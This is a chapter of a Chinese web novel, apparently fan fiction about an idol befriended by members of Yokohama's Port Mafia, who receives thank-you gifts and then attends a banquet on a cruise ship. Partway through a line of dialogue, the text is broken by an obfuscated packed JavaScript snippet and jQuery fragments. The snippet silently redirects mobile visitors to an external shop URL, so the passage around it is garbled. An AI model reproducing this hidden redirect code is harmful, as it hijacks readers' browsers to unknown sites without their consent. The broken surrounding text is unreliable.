文趣网 > 都市小说 > 如何在横滨成为当红偶像 > 17.第 17 章
    “我说你们啊,”中原中也环起胳膊,“来了就不要躲起来装神弄鬼地吓唬人。”

    “而且我不是说了今天准备和境见一面,偷偷在哪里?”

    五个人从集装箱覆盖的阴影处陆陆续续地走出来,阿呆鸟,同时也是刚刚率先开口的那个,遗憾地说着:“诶~不仅没吓到中也,连小境都没吓到啊,真遗憾。”

    “你们五个堆在一起,想不发现都难吧?”中原中也无奈地吐槽着。

    境薄明却也解释了一下:“阿呆鸟先生之前来过一对一交流的现场吧,那个时候,我记住了你的声音。”

    没错,阿呆鸟正是被送出见面会门票,还成为幸运观众之一的那名幸运儿。

    据说,他也是对“追星”这件事最上心的一个。

    阿呆鸟惊叹道:“那只有几分钟吧,我刚刚还特意变了下声音呢,也能认出来吗?”

    “……我好像对声音比较敏感。”境薄明想起声乐老师之前对他的评价。

    其中一个身着黑色长风衣,衬衫领子是独特的黑白格的个子很高的男人走到中原中也和境薄明背后,展开双臂,搭上了二人的肩膀,笑着说道。

    “小境有天赋又努力,公关官,说不定他很快就能成为超越你的艺人了哦~”

    “介绍一下,”他先看向境薄明,“我是‘钢琴家’。”

    “这位是‘公关官’。”他指向容貌异常俊美的男性,“从各种意义上来说算是你的前辈,因为他除了是mafia的一员,还是个电影明星。”

    “这位是‘外科医生’。”看起来瘦削虚弱,还握着输液架的男人挥了挥手。

    “这位是‘冷血’。”一只眼睛被疤痕覆盖,只余一只手臂的男人淡淡地点了点头。

    “还有你认识的,‘阿呆鸟’。”

    境薄明分别和他们打了招呼。

    “我们组成了一个mafia中的组织,名为‘旗会’,”钢琴家继续介绍着,“中也也是其中的一员。”

    他说到了最终的重点:“我们也是他口中,被小境救了一命的朋友们。”

    “本来是打算郑重地邀请你来接受我们的道谢的,但是跟中也商量的时候,他说今天晚上有话单独要和你说。”

    “明天是宴会,之后我们也要出差,所以今天就干脆先跟过来表达一下谢意了,顺便送上谢礼。”

    他说明了几人出现在这里的原因。

    “不,谢礼还是……”境薄明愣了愣,虽说无论是中原中也、森鸥外还是面前刚认识的旗会,都说他和魏尔伦呆在一起的那几天,成功拖延了时间,减少了许多伤亡。

    但他本人仍然不习惯把原本是为了自己能够活命,而无意间所做成的事算在自己身上。

    不过境薄明刚想拒绝,公关官便打断了他的话:“小境你就不要推辞了,可以确定的是如果不是魏尔伦的视野里突然出现了你,我们就会成为他的第一……前五个暗杀目标。”

    “这是我们为‘生命’付出的谢礼,而且组织再怎么说还是很挣钱的,”他笑了笑,“我们好歹也是一线员工,你完全可以不带心理负担地收下。”

    话说到这个份上,境薄明便放弃了拒绝的念头,任由他们把礼物一一展示出来。

    钢琴家也听说了他临时作曲的经历,送了他一整套音乐制作需要的设备,他把凭证交给境薄明,让他可以在方便的时候去取。

    阿呆鸟听说睦月来人还管控着他上网的频次,一方面抱怨这人古板专制,另一方面展示了最新款的Switch和一整盒游戏卡带。

    外科医生从同事那里听说了他自律而不健康的饮食控制,配出了一套补剂。

    公关官的礼物不是实体,他在自己的新电影中,向导演推荐了境薄明,以自己的名誉作为担保,为他争取了一个配角的位置,已经告诉了睦月来人。

    冷血的礼物大概是最符合mafia这个组织的,那是一把即使是几乎没接触过枪的新手,也能轻松控制,可以随身携带用来防身。

    “最后,”钢琴家说,“其实中也也准备了礼物吧?”

    “是这个。”中原中也从口袋里掏出一个首饰盒,然后打开。

    祖母绿宝石作为主题,一只精致的小猫则懒懒地趴在上方,是一枚宝石胸针。

    旗会们并不因此感到意外,毕竟中原中也此前主要负责宝石方面的业务。

    这枚胸针,显然是他精挑细选了原料,然后和设计师讨论造型之后加紧制作的。

    因为机车上普遍是没有可以放这些东西的地方的,所以最终这些礼物都由钢琴家放去了自己的车上,一会儿顺道给境薄明送过去。

    接着,他们站在海边闲聊。

    说起第一次认识境薄明,阿呆鸟说实际上组织里关注他出道的人,其实比想象中多。

    虽然Port Mafia的业务多如牛毛,合法的不合法的都有,员工中也不乏有公关官这样在娱乐圈占有一席之地的人。

    但组织自己培养,以自己的名义投资出道的偶像,就比较令人好奇了。

    所以旗会也在其中几个人的带领下关注了他的出道。

    境薄明出道的当天,阿呆鸟刚好在休假,所以他第一时间试听了出道曲,很快被惊艳,然后把这首曲子分享给了其他人。

    于是所有人都喜欢上了境薄明的这首曲子。

    接着就有了中原中也的偶遇,还有免费的见面会门票。

    只不过当时参加见面会的他们肯定没有想到,他们和境薄明后来会有“一命之交”的缘分。

    “所以我们决定成为小境的粉丝了!”

    阿呆鸟说:“以后旗会就是你的后援了!”

    他宣布。

    “……”中原中也幽幽地看着他,“说好的绝对不会成为‘追星一族’,最多听歌,或者支持之后的专辑呢?”

    他记得之前旗会的群里,所有人都是这样表态的。

    “情况不一样了嘛,”阿呆鸟解释,“而且去过一次见面会以后我们就被征服了,可不是只看在恩情的面子上!”

    后半句话是说给境薄明听的。

    “

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17620254|205727||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ‘冷血’也同意了?”中原中也表示狐疑。

    冷血依旧淡淡地回应:“少数服从多数。”

    中原中也懂了,反对无效。

    接着,钢琴家就问到了他头上:“现在就剩中也你还没表态了。”

    中原中也叹了口气,他看了看望向他的境薄明,说:“随便你们吧。”

    直到第二天到来,境薄明才回到了公寓。

    ——

    第二天傍晚,造型完成的境薄明,和睦月来人,以及刚刚固定成为他的助理的织田作之助踏上前往宴会的路途。

    为了贴合Port Mafia中的前一个,宴会的地点选在一艘游轮上,对于组织来说,既容易控制,又彰显身份,还相对更加安全和隐蔽。

    睦月来人向看守的员工表明身份后,他们便一同登上了游轮,又经过了严格的安全检查,才终于进入了宴会。

    参加宴会的客人都是陆续入场的,一般来说,除非是大多数人重点关注的大人物,例如首领森鸥外,其他人的进入,一开始并不会有太多人注意到。

    但是境薄明的样貌实在太耀眼了,加上为了贴合他艺人的身份,他的造型比起宴会中的其他人要更为独特夸张一些,所以刚一踏入场地,他还是接收到了不少人目光的洗礼。

    不过最近一段时间的工作经历,让他已经习惯了这种万众瞩目的感觉,因此也能从容的应对。

    等到大多数人收回自己的目光,境薄明就和织田作之助在不太引人关注的边边角角游荡。

    睦月来人直接进入人群去应酬了,他的任务就是老老实实呆着,之后在折返回来的睦月来人的带领下,去认识一些对他的偶像事业有所帮助的参与者。

    但是睦月来人显然还有其他的工作,这件事排不到第一优先级。

    境薄明就偶尔趁着人不多的时候去长桌上迅速挑选一点符合他食谱的食物,偶尔也趁着没人注意偷偷摸摸地投喂织田作之助。

    毕竟织田作之助的身份类似于“保镖”,自己去拿吃的不符合礼仪。

    来回游荡的时候,境薄明也和太宰治、中原中也以及旗会的众人遇见几次,但碍于场合,只简单地打了个招呼。

    境薄明逐渐开始站在原地放空。

    不知过了多长时间,他身后的织田作之助突然有了动作。

    境薄明只觉得对方以迅雷不及掩耳之势转了个身,挡在了他的身后,似乎是隔开了什么人。

    等他反应过来同样转过身去。

    发现一个四十岁上下的中年男人被织田作之助挡在身前。

    而织田作之助伸出手,替他稳住了手中似乎差点倾倒的酒杯,平静地说:“先生,请小心一些。”

    中年男人支支吾吾了一会儿,眼神躲闪地走开了。

    境薄明还是第一次见到织田作之助冷下脸来的样子。

    等到男人走远,他悄悄问道:“织田先生,怎么了?”

    “没什么,只不过是刚刚那个人差点把酒洒在你身上而已。”织田作之助冲他笑了笑,回答道。